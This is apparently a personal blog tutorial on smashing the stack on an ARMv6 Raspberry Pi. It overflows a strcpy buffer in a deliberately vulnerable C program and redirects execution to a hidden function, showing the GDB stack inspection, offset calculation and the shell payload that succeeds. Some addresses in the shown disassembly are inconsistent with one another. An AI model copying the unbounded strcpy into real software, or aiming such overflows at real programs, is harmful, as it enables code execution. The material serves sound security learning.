Note: This is simply a write-up for myself, so that I solidify my understanding of the subject.

I have heard before that just by writing memory-safe software one can get rid of most of the vulnerabilities for free. But I never actually went to investigate how bad these memory exploits are. So let’s try smashing the stack, shall we.

Smashing the stack stands for this exploit where we overwrite parts of the stack that are still in use and hold otherwise useful data for the program. We can achieve this by overflowing buffers.

Hardware#

I am using a Rasperry Pi B+ model to run this. That means I am working with the ARMv6l architecture. I was following this guide from ARM that was written for Arm64 (for aarch64, if you will). The differences are not that big and most of the concepts carry over, but the assembly for these architectures is definitely different.

Code#

We will try to exploit the following code:

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    char buf[32];

    if (argc < 2) {
        printf("Expected argument.\n");
        return 1;
    }

    strcpy(buf, argv[1]);

    return 0;
}

void unused_function(void) {
    printf("Pwned.\n");
}

Our goal is to execute unused_function just by using the compiled binary. That is, we will try to make the program execute unused_function by passing in a carefully handcrafted argument.

This is possible due to a vulnerability in the above code due to using strcpy.

Steps#

Compile the Vulnerable Program#

First we need to compile the source code vuln.c.

gcc -O0 -g -no-pie vuln.c -o vuln

I have a makefile with this command set up, so that I can just run make, and have everything figured out for me.

Find the Address of the Hidden Function#

We disabled all optimizations with -O0. This is very handy if we want a closer relationship between the C source code and the machine code.

We also disable PIE, which stands for Position Independent Executable. PIE is a precondition for ASLR (Address Space Layout Randomization), which is a security feature that would render our efforts futile.

Now we inspect the binary for the address of unused_function. This is a bit of manual labour, but it’s good enough for our intents and purposes. If ASLR was enabled, then manually looking up the address would not cut it. But I want the situation to be as simple as possible so we will just have it disabled.

We can inspect it with objdump, which can disassemble it for us, and makes it easy to look up the addresses.

objdump -d ./vuln | less

Alternatively, just run the following.

objdump -d ./vuln | grep unused_function

You should see a couple lines that match the pattern. One of them (probably the first) will look like this:

00010494 <unused_function>:

This means that the address of unused_function is 00010494. This is a hexadecimal number. Maybe it would be clearer if I wrote it as 0x00010494.

Explore with GDB#

This is a fun step. We will just poke around a bit.

First let’s start GDB.

gdb --args ./vuln 12345678

Then we will very quickly drop a breakpoint in main and look at its corresponding assembly.

(gdb) break main
Breakpoint 1 at 0x104a8
(gdb) run
Starting program: /path/to/vuln 12345678

Breakpoint 1, 0x000104a8 in main ()
(gdb) disassemble
Dump of assembler code for function main:
   0x00010490 <+0>:     push    {r11, lr}
   0x00010494 <+4>:     add     r11, sp, #4
   0x00010498 <+8>:     sub     sp, sp, #40     ; 0x28
   0x0001049c <+12>:    str     r0, [r11, #-40]         ; 0xffffffd8
   0x000104a0 <+16>:    str     r1, [r11, #-44]         ; 0xffffffd4
   0x000104a4 <+20>:    ldr     r3, [r11, #-40]         ; 0xffffffd8
=> 0x000104a8 <+24>:    cmp     r3, #1
[...]

Nice, now we can look at the exact addresses of the instructions in main alongside where we are in the program. Further down we see a line that is of our interest.

   [...]
   0x000104e8 <+88>:    bl      0x10364 <strcpy@plt>
   [...]

Indeed it is the call to strcpy, the call that enables this exploit. Let’s just set a breakpoint there and jump to it. This is just before executing that line.

(gdb) break *0x000104e8
Breakpoint 2 at 0x104e8
(gdb) c
Continuing.

Breakpoint 2, 0x000104e8 in main ()
(gdb) disassemble
[...]
   0x000104e0 <+80>:    mov     r1, r2
   0x000104e4 <+84>:    mov     r0, r3
=> 0x000104e8 <+88>:    bl      0x10364 <strcpy@plt>
   0x000104ec <+92>:    mov     r3, #0
   0x000104f0 <+96>:    mov     r0, r3
   0x000104f4 <+100>:   sub     sp, r11, #4
   0x000104f8 <+104>:   pop     {r11, pc}
[...]

Now it’s time to poke around in the memory. Let’s just print a couple of words around the Stack Pointer. Since the buffer is allocated in this function, it should be close to the top of the stack (which expands in the negative direction).

(gdb) info registers sp
sp             0xbefff4d8          0xbefff4d8
(gdb) x/32wx $sp
0xbefff4d8:     0xbefff664      0x00000002      0xb6fb7020       0x000104d8
0xbefff4e8:     0x000104b0      0x00000000      0x00010344       0x00000000
0xbefff4f8:     0x00000000      0x00000000      0x00000000       0xb6e7d740
0xbefff508:     0xb6fb5000      0xbefff664      0x00000002       0x00010434
0xbefff518:     0x5bf80c03      0x53e02fff      0x000104b0       0x00000000
0xbefff528:     0x00010344      0x00000000      0x00000000       0x00000000
0xbefff538:     0xb6fff000      0x00000000      0x00000000       0x00000000
0xbefff548:     0x00000000      0x00000000      0x00000000       0x00000000

That seems like a bunch of uninitialized memory. That is because it is. Mostly zeros, which I do not know the exact reason for. Probably luck. The point is, most of these could be basically any bytes.

At the very top of the stack we have one word that is actually interesting to us: 0xbefff664. Why is that, you might ask. It is interesting, of course, since it stores the address to argv. We can see at the beginning of main that it actually gets stored there:

   0x000104a0 <+16>:    str     r1, [r11, #-44]        ; 0xffffffd4

Here, r1 refers to the 2nd argument of main and str is the Store Register instruction. The first argument is of course r0 (we love 0-indexing things). Actually, r0 was also put on the stack. It is the very next word, 0x00000002. This is the value of argc.

And there were indeed two arguments passed (the program itself and the argument we passed it). These are the only two elements on the stack on top of our buffer. So the rest of the memory will get overwritten by our strcpy. Well, as many bytes as the argument contained. Let’s check it out:

(gdb) nexti
16          return 0;
(gdb) x/32wx $sp
0xbefff4d8:     0xbefff664      0x00000002      0x34333231       0x38373635
0xbefff4e8:     0x00010400      0x00000000      0x00010344       0x00000000
0xbefff4f8:     0x00000000      0x00000000      0x00000000       0xb6e7d740
0xbefff508:     0xb6fb5000      0xbefff664      0x00000002       0x00010434
0xbefff518:     0x5bf80c03      0x53e02fff      0x000104b0       0x00000000
0xbefff528:     0x00010344      0x00000000      0x00000000       0x00000000
0xbefff538:     0xb6fff000      0x00000000      0x00000000       0x00000000
0xbefff548:     0x00000000      0x00000000      0x00000000       0x00000000

Two words overridden, just as expected. Except: It also wrote one byte from the 3rd word, since the argument is null terminated. That is, it has an additionally 0 byte at the end of it. We cannot see that here since that byte was already 0 to begin with.

One important thing to notice though: ARMv6 is little endian. That is, words are ordered with the least significant bit first.

(gdb) x/32wx $sp
0xbefff4d8:     0xbefff664      0x00000002      0x34333231       0x38373635
0xbefff4e8:     0x00010400      0x00000000      0x00010344       0x00000000
0xbefff4f8:     0x00000000      0x00000000      0x00000000       0xb6e7d740
0xbefff508:     0xb6fb5000      0xbefff664      0x00000002       0x00010434
0xbefff518:     0x5bf80c03      0x53e02fff      0x000104b0       0x00000000
0xbefff528:     0x00010344      0x00000000      0x00000000       0x00000000
0xbefff538:     0xb6fff000      0x00000000      0x00000000       0x00000000
0xbefff548:     0x00000000      0x00000000      0x00000000       0x00000000
(gdb) ni 3
0x0001048c      17      }
(gdb) disassemble 
Dump of assembler code for function main:
[...]
   0x0001047c <+72>:    bl      0x10308 <strcpy@plt>
   0x00010480 <+76>:    mov     r3, #0
   0x00010484 <+80>:    mov     r0, r3
   0x00010488 <+84>:    sub     sp, r11, #4
=> 0x0001048c <+88>:    pop     {r11, pc}
   0x00010490 <+92>:                    ; <UNDEFINED> instruction: 0x000105b0
End of assembler dump.

Now we are at an interesting instruction again. This is the return instruction. Yes. It looks like just a pop. Because it is.

It simply pops r11, which is like the stack base pointer, and the Program Counter (pc) register. The Program Counter is a pointer to the next instruction that is to be executed. By overwriting pc with the address right after the function call, we effectively do a return.

So in the above example, pc is 0x0001048c, as we can see from the arrow.

(gdb) ni
__libc_start_main (main=0xbefff664, argc=-1225043968, 
    argv=0xb6e7d740 <__libc_start_main+276>, 
    init=<optimized out>, 
    fini=0x10510 <__libc_csu_fini>, 
    rtld_fini=0xb6fdd510 <_dl_fini>, 
    stack_end=0xbefff664) at libc-start.c:342
342     libc-start.c: No such file or directory.
(gdb) info registers sp r11 pc
sp             0xbefff508          0xbefff508
r11            0x0                 0
pc             0xb6e7d740          0xb6e7d740 <__libc_start_main+276>

Alright, so after the return pc gets set to 0xb6e7d740. We do not particularly care about where this address points to. What we are interested in however, is where this value was on the stack.

While this could have been figured out just by reading the assembly, this is a good way to verify that too.

After searching for 0xb6e7d740 among the words near the stack pointer around the stack frame of main, we found it:

0xbefff4f8:     0x00000000      0x00000000      0x00000000       0xb6e7d740

The Exploit Plan#

There it is. It looks like the address of it was 0xbefff504. From this we can derive how far away it is from our buffer. It looks like the distance is 9 words, or equivalently 36 bytes.

So here is how we can exploit this program: Make our input have 36 bytes of whatever followed by the address of unused_function. Then executing strcpy will overwrite the stored pc, so after executing the return, pc will point to the start of unused_function, so it will execute its contents.

Well, we already the have the address of unused_function. It is 0x00010494.

Alright, let’s pad it with 36 bytes of garbage. I used GHCi to not have to manually type that out, but choose whatever option you like the best.

$ ghci -e 'take 36 $ cycle "12345678"'
"123456781234567812345678123456781234"

To add the address to the end of our string we need to hex escape then in whatever language we choose. We will end up with something along the lines of "123456781234567812345678123456781234\x94\x04\x01\x00".

I am going to use some shell magic to pass it as an argument. echo supports hex escape sequences, so that will work for us perfectly. Let’s see:

$ echo -e '123456781234567812345678123456781234\x94\x04\x01\x00'
123456781234567812345678123456781234ö��

Something definitely has been resolved. Let’s check that it is indeed what we think it is.

$ echo -e '123456781234567812345678123456781234\x94\x04\x01\x00' | xxd
00000000: 3132 3334 3536 3738 3132 3334 3536 3738  1234567812345678
00000010: 3132 3334 3536 3738 3132 3334 3536 3738  1234567812345678
00000020: 3132 3334 9404 0100 0a                   1234.....

Yeah, looks about right!

Success#

Let’s actually try passing that string as an argument:

$ ./vuln $(echo -e '123456781234567812345678123456781234\x94\x04\x01\x00')
-bash: warning: command substitution: ignored null byte in input
Pwned.
Segmentation fault
$ echo $?
139

WOOOOOOO! 🎉 IT WORKED! Except the part where it did not exit cleanly and the warning from echo

Luckily, I do not care, so we are going to ignore all that. It works, our exploit was successful.

Afterword#

In practice while trying to achieve this I had spent way longer trying to figure out what to do then this might make it seem like.

For example, I initially did not realize that I should be reversing the bytes due to the little-endianness. This had led me to spend the majority of a day on trying to figure out what is wrong, and that is what actually brought me to learn how to inspect the execution with GDB somewhat thoroughly.

Had I not made that mistake, I probably would have just gotten the exploit to work and would have learned much less from it.

Note that I flipped the bytes in the address 0x00010494. That is, I put \x94\x04\x01\x00 instead of \x00\x01\x04\x94. This is essential. Remember? It was little endian. This is what would have happened if I didn’t reverse it:

$ ./vuln $(echo -e '123456781234567812345678123456781234\x00\x01\x05\x04')
-bash: warning: command substitution: ignored null byte in input
Segmentation fault

Yeah… It just doesn’t even overwrite the whole byte because of the null byte signifying the end of the string.